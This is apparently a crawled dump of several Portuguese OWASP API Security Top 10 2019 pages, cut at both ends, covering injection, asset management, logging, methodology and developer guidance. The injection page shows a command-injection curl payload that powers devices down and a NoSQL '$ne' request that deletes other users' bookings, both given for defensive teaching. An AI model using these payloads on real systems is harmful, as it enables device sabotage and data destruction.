{"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API8:2019 Injection\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **3** | Prevalência **2** : Deteção **3** | Técnico **3** : Específico Negócio |\n| Os atacantes fornecem à API dados maliciosos através dos vetores de injeção disponíveis (e.g., formulários, parâmetros, integrações, etc.), na expetativa que estes sejam enviados a um interpretador. | Falhas de injeção são bastante comuns e são geralmente encontradas em consultas SQL, LDAP ou NoSQL, comandos enviados ao sistema operativo, *parsers* XML e ORM. Estas falhas são fáceis de identificar durante a revisão do código. Os atacantes podem fazer uso de *scanners* e *fuzzers*. | As injeções podem conduzir à divulgação de informação e perda de dados. Podem ainda conduzir à negação de serviço (DoS) ou à tomada de controlo do *host*. |\n\n## A API é vulnerável?\n\nA API é vulnerável se:\n\n- Dados fornecidos pelo cliente não são validados, filtrados ou sanitizados pela\n API.\n- Dados fornecidos pelo cliente são concatenados diretamente em consultas\n SQL/NoSQL/LDAP, comandos a enviar ao sistema operativo, *parsers* XML e *Object Relational Mapping* (ORM)/ *Object Document Mapper* (ODM).\n- Dados com origem em sistemas externos (e.g., sistemas integrados) não são\n validados, filtrados ou sanitizados pela API.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nO *firmware* dum dispositivo de controlo parental implementa o *endpoint* `/api/CONFIG/restore`, o qual espera que lhe seja enviado uma parâmetro `appId`\nno formato `multipart`. Com recurso a um descompilador, um atacante descobre que\no parâmetro `appId` é passado diretamente numa chamada ao sistema sem qualquer\ntipo de sanitização:\n\n```\nsnprintf(cmd, 128, \"%srestore_backup.sh /tmp/postfile.bin %s %d\",\n \"/mnt/shares/usr/bin/scripts/\", appid, 66);\nsystem(cmd);\n```\n\nO comando abaixo permite ao atacante desligar qualquer equipamento que corra o\nmesmo *firmware* vulnerável:\n\n```\n$ curl -k \"https://${deviceIP}:4567/api/CONFIG/restore\" -F 'appid=$(/etc/pod/power_down.sh)'\n```\n\n### Cenário #2\n\nPerante uma aplicação de reservas com funcionalidades de criação, consulta,\natualização e remoção, um atacante desconfia que talvez seja possível realizar\ninjeções NoSQL através do parâmetro `bookingId` presente na *query string* dos\npedidos de remoção. Este é o aspeto do pedido:\n`DELETE /api/bookings?bookingId=678`.\n\nEsta é a função usada pelo servidor da API para atender tais pedidos:\n\n```\nrouter.delete('/bookings', async function (req, res, next) {\n try {\n const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId});\n res.status(200);\n } catch (err) {\n res.status(400).json({error: 'Unexpected error occured while processing a request'});\n }\n});\n```\n\nO atacante interceta o pedido e altera o parâmetro `bookingId` na\n*query string*, conforme apresentado abaixo. Neste caso o atacante consegue\napagar a reserva doutro utilizador.\n\n```\nDELETE /api/bookings?bookingId[$ne]=678\n```\n\n## Como Prevenir\n\nA prevenção de injeções exige que os dados sejam separados dos comandos e\nconsultas.\n\n- Usar uma única biblioteca para validação de dados que seja confiável e\n ativamente mantida.\n- Validar, filtrar e sanitizar todos os dados fornecidos pelo cliente ou outros\n dados provenientes de sistemas integrados.\n- Caracteres especiais devem ser neutralizados com recurso à sintaxe específica\n do interpretador para onde serão enviados.\n- Opte por APIs de consulta seguras que oferecem interfaces parametrizadas.\n- Limite sempre o número de registos a devolver por forma a prevenir a\n divulgação massiva de dados em caso de injeção.\n- Valide os dados de entrada usando os filtros necessários para apenas permitir\n valores válidos para cada parâmetro.\n- Defina tipos de dados e padrões bem definidos para todos os parâmetros\n textuais.\n\n## Referências\n\n### OWASP\n\n- [OWASP Injection Flaws](https://owasp.org/www-community/Injection_Flaws)\n- [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n- [NoSQL Injection Fun with Objects and Arrays](https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf)\n- [Command Injection](https://owasp.org/www-community/attacks/Command_Injection)\n\n### External\n\n- [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)", "znaku_textu": 4199, "slov": 550, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:33", "sha256": "3413e7d74f8a35f4800b7ea49f66af72b8f51eef3cbe04751a8a4f90bc802872", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/89.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa9-improper-assets-management/", "titulek": "API9:2019 Improper Assets Management - OWASP API Security Top 10", "h1": "API9:2019 Improper Assets Management", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa9-improper-assets-management/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2019 Improper Assets Management"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API9:2019 Improper Assets Management\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **3** | Prevalência **3** : Deteção **2** | Técnico **2** : Específico Negócio |\n| Versões antigas da API tipicamente não são alvo de atualizações e podem ser usadas para comprometer sistemas sem ter que lidar com mecanismos de segurança mais avançados, os quais poderão estar ativos nas versões mais recentes. | A documentação desatualizada dificulta a identificação e/ou correção de falhas de segurança. A inexistência dum inventário e duma estratégica de descontinuação estão na génese dos sistemas sem atualizações de segurança que acabam por divulgar informação sensível. É comum encontrar-se APIs expostas desnecessariamente: o conceito de micro-serviços tornou o *deploy* das aplicações mais fácil e independente (e.g., *cloud*, kubernetes), podendo estar na origem deste fenómeno. | Os atacantes podem conseguir acesso a informação sensível ou até obter o controlo do servidor através de versões antigas e sem atualizações de segurança que estejam ligadas à mesma base de dados. |\n\n## A API é vulnerável?\n\nA API pode ser vulnerável se:\n\n- O propósito dum host da API não é claro, não havendo respostas explicitas para\n as seguintes perguntas:\n - Em que ambientes está a API a correr (e.g., produção, *staging* , testes,\n desenvolvimento)?\n - Quem deve ter acesso à API através da rede (e.g., público, interno,\n parceiros)?\n - Que versões da API estão a correr?\n - Que informação é recolhida e processada pela API (e.g., PII)?\n - Qual é o fluxo dos dados?\n- Não existe documentação, ou a que existe não está atualizada.\n- Não existe um plano para descontinuar cada uma das versões da API.\n- Não existe um inventário de hosts ou o que existe está desatualizado.\n- O inventário de integração de serviços, próprios ou de terceiros, não existe\n ou está desatualizado.\n- Versões antigas ou anteriores estão a correr sem atualizações de segurança.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nDepois de redesenhar as suas aplicações, um serviço de pesquisa local deixou\numa versão antiga da API a correr (`api.someservice.com/v1`), desprotegida e com\nacesso à base de dados de utilizadores. Enquanto estava a analisar uma das\núltimas versões das aplicações, um atacante encontrou o endereço da API\n(`api.someservice.com/v2`). Substituindo `v2` por `v1` no URL, o atacante\nconseguiu acesso à versão antiga da API a qual expunha informação pessoal (PII)\nde mais de 100 milhões de utilizadores.\n\n### Cenário #2\n\nUma rede social implementou um mecanismo de limitação do número de pedidos para\nimpedir os atacantes de usar ataques de força bruta para adivinhar os *tokens*\nde redefinição de password. Este mecanismo não foi implementado ao nível do\ncódigo da API, mas sim como um componente entre o cliente e a API em uso. Um\ninvestigador encontrou um *host* relativo à versão beta da API mas que corria\nagora a última versão desta, incluindo o mecanismo de redefinição da password,\nmas aqui sem o mecanismo de limitação do número de pedidos. O investigador seria\ncapaz de redefinir a password de qualquer utilizador, recorrendo a força bruta\npara adivinhar o *token* de 6 dígitos.\n\n## Como Prevenir\n\n- Inventarie todos os *hosts* da API e documente os aspetos importantes de cada\n um deles, com especial enfoque no ambiente da API (e.g., produção, *staging* ,\n testes, desenvolvimento), quem deve ter acesso pela rede ao *host* (e.g.,\n público, interno, parceiros) e a versão da API.\n- Inventarie as integrações de serviços e documente os aspetos mais importantes\n tais como o papel destes no sistema, que dados são trocados (fluxo de dados) e\n a sua suscetibilidade.\n- Documente todos os aspetos da API, tais como autenticação, erros,\n redirecionamentos, política de limitação do número de pedidos, polícia de\n Partilha de Recursos Entre Origens (CORS) e *endpoints* , incluindo os seus\n parâmetros, pedidos e respostas.\n- Gere a documentação de forma automática através da adoção de standards. Inclua\n a geração da documentação no seu processo de CI/CD.\n- Torne a documentação da API disponível para aqueles autorizados a consultá-la.\n- Utilize mecanismos de proteção externa, tais como *API Security Firewalls* , em\n todas as versões da API expostas e não exclusivamente a versão mais recente em\n produção.\n- Evite a utilização de dados de produção em outros ambientes da API que não de\n produção. Se não puder evitá-lo, esses ambientes/versões/ *endpoints* deverão\n ter o mesmo nível de segurança do que os de produção.\n- Quando as novas versões da API incluem melhorias de segurança, realize a\n análise de risco para uma melhor tomada de decisão quanto às ações necessárias\n para a migração das versões antigas: por exemplo, se é possível aplicar as\n mesmas melhorias às versões anteriores sem quebrar compatibilidade ou se as\n deve retirar o quanto antes, forçando os clientes a migrar para a última\n versão.\n\n## Referências\n\n### Externas\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)\n- [OpenAPI Initiative](https://www.openapis.org/)", "znaku_textu": 5000, "slov": 779, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:32:23", "sha256": "b3e6c79e2d50d9654bb5ceb2e15e01de7099dddff25890d342b942e674859264", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://www.openapis.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xaa-insufficient-logging-monitoring/", "titulek": "API10:2019 Insufficient Logging & Monitoring - OWASP API Security Top 10", "h1": "API10:2019 Insufficient Logging & Monitoring", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xaa-insufficient-logging-monitoring/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2019 Insufficient Logging & Monitoring"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API10:2019 Insufficient Logging & Monitoring\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **2** | Prevalência **3** : Deteção **1** | Técnico **2** : Específico Negócio |\n| Os atacantes podem tirar partido desta vulnerabilidade para abusar dos sistemas sem ser detetados. | Sem registo de eventos e monitorização, ou com um registo e monitorização insuficientes, é quase impossível detetar atividades suspeitas e responder às mesmas em tempo útil. | Sem visibilidade sobre atividades maliciosas os atacantes têm tempo suficiente para comprometer os sistemas. |\n\n## A API é vulnerável?\n\nA API é vulnerável se:\n\n- Não regista qualquer evento, o tipo de evento registado não é o correto ou os\n registos não incluem detalhe suficiente.\n- A integridade do registo de eventos não é assegurada (e.g., [Log Injection](https://owasp.org/www-community/attacks/Log_Injection) ).\n- Os registos de eventos não são monitorizados.\n- A infraestrutura da API não é monitorizada ininterruptamente.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nAs *access keys* duma API de administração foram expostas publicamente num\nrepositório. O proprietário do repositório foi notificado por email sobre a\npotencial divulgação das chaves mas demorou mais de 48h a reagir ao incidente e\na exposição das chaves pode ter permitido o acesso a informação sensível. Devido\nao registo de eventos insuficiente, a empresa não foi capaz de averiguar que\ninformação havia sido acedida por agentes mal intencionados.\n\n### Cenário #2\n\nUma plataforma de partilha de vídeo foi alvo um ataque de *credendial stuffing*\nem larga escala. Apesar das tentativas de autenticação falhadas serem constarem\ndo registo de eventos, nenhum alerta foi gerado durante o tempo que o ataque\ndecorreu. Em reação às queixas dos utilizadores os registos de eventos da API\nforam analisados e o ataque foi identificado. A empresa teve que emitir um\ncomunicado público a pedir aos utilizadores para alterar as suas *passwords* e\ncomunicar o incidente às autoridades reguladores.\n\n## Como Prevenir\n\n- Registe todas as tentativas de autenticação falhadas, controlo de acesso\n negados e falhas na validação de dados fornecidos pelo utilizador.\n- Os registos de eventos devem usar um formato que permita serem processados por\n ferramentas de gestão de registos e devem incluir detalhe suficiente para\n identificar os agentes maliciosos.\n- Os registos de eventos deve ser tratados como informação sensível e a sua\n integridade deve ser assegurada tanto em repouso como em trânsito.\n- Configure um sistema de monitorização para a infraestrutura, rede e API.\n- Utilize um Sistema de Gestão e Correlação de Eventos de Segurança (SIEM) para\n agregar e gerir os registos de eventos de todos os componentes da API e *hosts* .\n- Configure visualizações personalizadas sobre os alertas, permitindo que\n atividade suspeita seja detetada e endereçada o mais cedo possível.\n\n## Referências\n\n### OWASP\n\n- [OWASP Logging Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Logging_Cheat_Sheet.md)\n- [OWASP Proactive Controls: Implement Logging and Intrusion Detection](https://owasp.org/www-project-proactive-controls/)\n- [OWASP Application Security Verification Standard: V7: Error Handling and\n Logging Verification Requirements](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md)\n\n### Externas\n\n- [CWE-223: Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 3511, "slov": 475, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:07:53", "sha256": "8a26426712cf31afe0d919eadd362d6bb6179e96ef3e2ae57cf69f6ccadaa142", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Logging_Cheat_Sheet.md", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/778.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xb0-next-devs/", "titulek": "O Que Se Segue Para Programadores - OWASP API Security Top 10", "h1": "O Que Se Segue Para Programadores", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xb0-next-devs/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "O Que Se Segue Para Programadores"}], "markdown": "# O Que Se Segue Para Programadores\n\nA tarefa de criar e manter software seguro, ou corrigir software existente, pode\nser difícil. O mesmo se verifica em relação às APIs.\n\nAcreditamos que educação e consciencialização são fatores chave para o\ndesenvolvimento de software seguro. Tudo o mais necessário para alcançar este\nobjetivo depende da **definição e utilização de processos de segurança\nreprodutíveis e do uso de controlos de segurança *standard***.\n\nA OWASP disponibiliza uma grande quantidade de recursos gratuitos e abertos para\nabordar a segurança desde o início dum projeto. Por favor visite a [página dos\nprojetos OWASP](https://owasp.org/projects/) para consulta da lista dos projetos existentes.\n\n| | |\n| --- | --- |\n| **Educação** | Pode começar por ler os conteúdos disponibilizados pelos [projetos na categoria OWASP Education](https://www.owasp.org/index.php/OWASP_Education_Material_Categorized) de acordo com a sua profissão e interesse. Para uma abordagem mais prática, adicionámos ao nosso plano de trabalho o projeto **crAPI** - **C**ompletely **R**idiculous **API** (API Completamente Ridícula). Enquanto isso, pode praticar segurança de aplicações web usando o [Módulo OWASP DevSlop Pixi](https://devslop.co/Home/Pixi): uma WebApp e API intencionalmente vulneráveis com o objetivo de ensinar aos utilizadores como testar a segurança de WebApps modernas e APIs e como desenvolver APIs mais seguras. Poderá também participar nas sessões de treino das [conferências OWASP AppSec](https://owasp.org/events/#global-events) ou [juntar-se ao seu grupo OWASP local](https://owasp.org/chapters/). |\n| **Requisitos de Segurança** | A segurança deve fazer parte de qualquer projeto desde o início. É importante que, durante a fase de identificação de requisitos, seja definido o que é que “seguro” significa no contexto desse projeto. A OWASP recomenda a utilização do [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) como guia para definir os requisitos de segurança. Se estiver a subcontratar, considere ao invés a utilização do [OWASP Secure Software Contract Annex](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex), o qual deverá adaptar às leis e regulamentações locais. |\n| **Arquitetura de Segurança** | A segurança deve ser uma preocupação durante todas as fases dum projeto. O projeto [OWASP Prevention Cheat Sheets](https://owasp.org/www-project-cheat-sheets/) é um bom ponto inicial de orientação sobre como contemplar a segurança durante a fase de arquitetura. Entre outros, o [REST Security Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md) e o [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md) serão seguramente relevantes. |\n| **Controlos Standard de Segurança** | A adoção de controlos standard de segurança reduzem o risco de introdução de falhas de segurança durante a implementação da lógica de negócio. Apesar de muitas *frameworks* modernas já incluírem controlos *standards*, o projeto [OWASP Proactive Controls](https://owasp.org/www-project-proactive-controls/) dá-lhe uma visão sobre que controlos de segurança deve incluir no seu projeto. A OWASP também disponibiliza algumas bibliotecas e ferramentas que pode achar úteis, tais como controlos de validação. |\n| **Ciclo de Desenvolvimento de Software Seguro** | Pode usar o [OWASP Software Assurance Maturity Model (SAMM)](https://owasp.org/www-project-samm/) para melhorar o processo de desenvolvimento de APIs. Tem ainda disponíveis vários outros projetos OWASP para o ajudar durante as várias fases de desenvolvimento de APIs, por exemplo o [OWASP Code Review Project](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project). |", "znaku_textu": 3786, "slov": 481, "odkazu": 74, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:01", "sha256": "41b825c16884f1a37a604c576e6df565c27e9d95af4b72e28c53d2d65e6aee98", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Education_Material_Categorized", "https://devslop.co/Home/Pixi", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xb1-next-devsecops/", "titulek": "O que Se Segue Para DevSecOps - OWASP API Security Top 10", "h1": "O que Se Segue Para DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xb1-next-devsecops/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "O que Se Segue Para DevSecOps"}], "markdown": "# O que Se Segue Para DevSecOps\n\nDada a sua importância na arquitetura das aplicações modernas, desenvolver APIs\nseguras é crucial. A segurança não pode ser negligenciada e deve estar presente\ndurante todo o clico de vida do desenvolvimento. Já não basta a execução de\n*scanners* ou a realização de testes de penetração anualmente.\n\nA equipa de DevSecOps deve fazer parte do esforço de desenvolvimento\ncontribuindo para a realização de testes de segurança, de forma continuada,\ndurante todo o ciclo de vida do desenvolvimento. Deve ter como objetivo melhorar\na *pipeline* de desenvolvimento com automação de segurança e sem influenciar\nnegativamente no ritmo do desenvolvimento.\n\nEm caso de dúvida mantenha-se informado e reveja o [Manifesto DevSecOps](https://www.devsecops.org/) com\nfrequência.\n\n| | |\n| --- | --- |\n| **Compreenda o Modelo de Ameaças** | As prioridades relativamente ao que deve ser testado têm origem no modelo de ameaças. Se não tem um, considere usar o [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) e o [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) como base. Envolver a equipa de desenvolvimento na elaboração do modelo de ameaças pode torná-la mais consciente para questões relacionadas com segurança. |\n| **Compreenda o Ciclo de Vida do Desenvolvimento do Software** | Reúna a equipa de desenvolvimento para melhor compreender o ciclo de vida do desenvolvimento do software. O seu contributo para a realização continua de testes de segurança deve ser compatível com as pessoas, processos e ferramentas. Todos devem concordar com o processo, de forma a não provocar atrito ou resistência desnecessários. |\n| **Estratégias de Teste** | Sendo que o seu trabalho não deve condicionar o ritmo de desenvolvimento, deverá escolher cuidadosamente a melhor (mais simples, rápida e precisa) técnica para verificar os requisitos de segurança. A [OWASP Security Knowledge Framework](https://owasp.org/www-project-security-knowledge-framework/) e o [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/) podem ser importantes fontes de requisitos de segurança funcionais e não-funcionais. Existem outras fontes relevantes onde poderá encontrar [projetos](http://devsecops.github.io/) e [ferramentas](https://github.com/devsecops/awesome-devsecops) como aquelas disponibilizadas pela [comunidade DevSecOps](http://devsecops.org). |\n| **Procure Alcançar Cobertura e Precisão** | Você é a ponte entre as equipas de desenvolvimento e operações. Para alcançar cobertura, deve não só focar-se na funcionalidade, mas também na orquestração. Trabalhe junto de ambas as equipas desde o início por forma a otimizar o seu tempo e esforço. Deve almejar um estado em que o essencial da segurança é verificado de forma continua. |\n| **Comunique as Falhas de Forma Clara** | Entregue valor evitando qualquer atrito. Comunique as falhas identificadas atempadamente, usando as ferramentas que a equipa de desenvolvimento já utiliza (e não através de ficheiros PDF). Junte-se à equipa de desenvolvimento para resolver as falhas identificadas. Aproveite a oportunidade para educar os elementos da equipa de desenvolvimento, descrevendo de forma clara a falha e como esta pode ser abusada, incluindo um cenário de ataque para a tornar mais real. |", "znaku_textu": 3366, "slov": 469, "odkazu": 68, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:10", "sha256": "c5b36cdc20884cba3525aaae03fae4680cca4b8aa42dde3240ccbf745d1663bb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xd0-about-data/", "titulek": "Metodologia e Dados - OWASP API Security Top 10", "h1": "Metodologia e Dados", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xd0-about-data/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Metodologia e Dados"}, {"uroven": 2, "text": "Preâmbulo"}, {"uroven": 2, "text": "Metodologia e Dados"}], "markdown": "# Metodologia e Dados\n\n## Preâmbulo\n\nUma vez que a indústria de segurança aplicacional não tem estado focada\nespecificamente nas arquiteturas aplicacionais mais recentes, nas quais as APIs\ntêm um papel importante, compilar a lista dos riscos de segurança mais críticos\npara APIs com base numa consulta pública de dados teria sido uma tarefa árdua.\nApesar desta consulta pública de dados não ter sido feita, a lista atual é ainda\nresultado de informação que se encontra disponível publicamente, assim como de\ncontribuições de especialista em segurança e da discussão aberta à comunidade de\nsegurança.\n\n## Metodologia e Dados\n\nNuma primeira fase um grupo de especialistas em segurança recolheu, reviu e\ncategorizou informação relativa a incidentes relacionados com APIs que se\nencontrava disponível publicamente. Esta informação foi recolhida de plataformas\nde *bug bounty* e bases de dados de falhas de segurança, restringida a\nincidentes ocorridos no último ano. Esta informação foi usada para fins\nestatísticos.\n\nNa fase seguinte, foi pedido a um grupo de profissionais de segurança com\nexperiência em testes de penetração que criassem a seu próprio Top 10.\n\nA [Metodologia de Classificação de Risco da OWASP](https://owasp.org/www-project-risk-assessment-framework/) foi usada para realizar a\nanálise de risco e as classificações foram discutidas e revistas entre os\nprofissionais de segurança. Para mais informação sobre este assunto consulte a\nsecção [Riscos de Segurança em APIs](../0x10-api-security-risks/).\n\nO primeiro rascunho do OWASP API Security Top 10 2019 resultou do consenso entre\nos dados estatísticos da primeira fase e as listas compiladas pelos\nprofissionais de segurança. Este rascunho foi depois submetido à apreciação e\nrevisão por outro grupo de profissionais de segurança com experiência relevante\nem segurança de APIs.\n\nO OWASP API Security Top 10 2019 foi apresentado publicamente pela primeira vez\nna conferência OWASP Global AppSec Tel Aviv (Maio 2019). Desde então ele tem\nestado disponível no GitHub para discussão e contribuições.\n\nA lista de todos os que contribuíram para esta versão encontra-se na secção\n[Agradecimentos](../0xd1-acknowledgments/).", "znaku_textu": 2166, "slov": 326, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:19", "sha256": "b52cf1d5c786ae038e4d8fdd5de4539ab90029126c9e88f4a02d4cec8ffb3798", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xd1-acknowledgments/", "titulek": "Agradecimentos - OWASP API Security Top 10", "h1": "Agradecimentos", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xd1-acknowledgments/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Agradecimentos"}, {"uroven": 2, "text": "Agradecimento ao Contribuidores"}], "markdown": "# Agradecimentos\n\n## Agradecimento ao Contribuidores\n\nGostaríamos de agradecer às pessoas abaixo, as quais contribuíram publicamente\nno GitHub ou por outros meios:\n\n- 007divyachawla\n- Abid Khan\n- Adam Fisher\n- anotherik\n- bkimminich\n- caseysoftware\n- Chris Westphal\n- dsopas\n- DSotnikov\n- emilva\n- ErezYalon\n- flascelles\n- Guillaume Benats\n- IgorSasovets\n- Inonshk\n- JonnySchnittger\n- jmanico\n- jmdx\n- Keith Casey\n- kozmic\n- LauraRosePorter\n- Matthieu Estrade\n- nathanawmk\n- PauloASilva\n- pentagramz\n- philippederyck\n- pleothaud\n- r00ter\n- Raj kumar\n- Sagar Popat\n- Stephen Gates\n- thomaskonrad\n- xycloops123", "znaku_textu": 568, "slov": 62, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:28", "sha256": "e5bf8b10594930afc4615054951ab6e07e964d5c2a0fd03efb349b51adfa6e4c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/dist/owasp-api-security-top-10.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 3336591, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:34", "sha256": "deeed1fe598616ffa459d9d424e276997525f61343fbf88948383c2cc4202682", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/API-Security/editions/2019/ru/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "OWASP API Security Top 10 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0x00-header/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Top 10 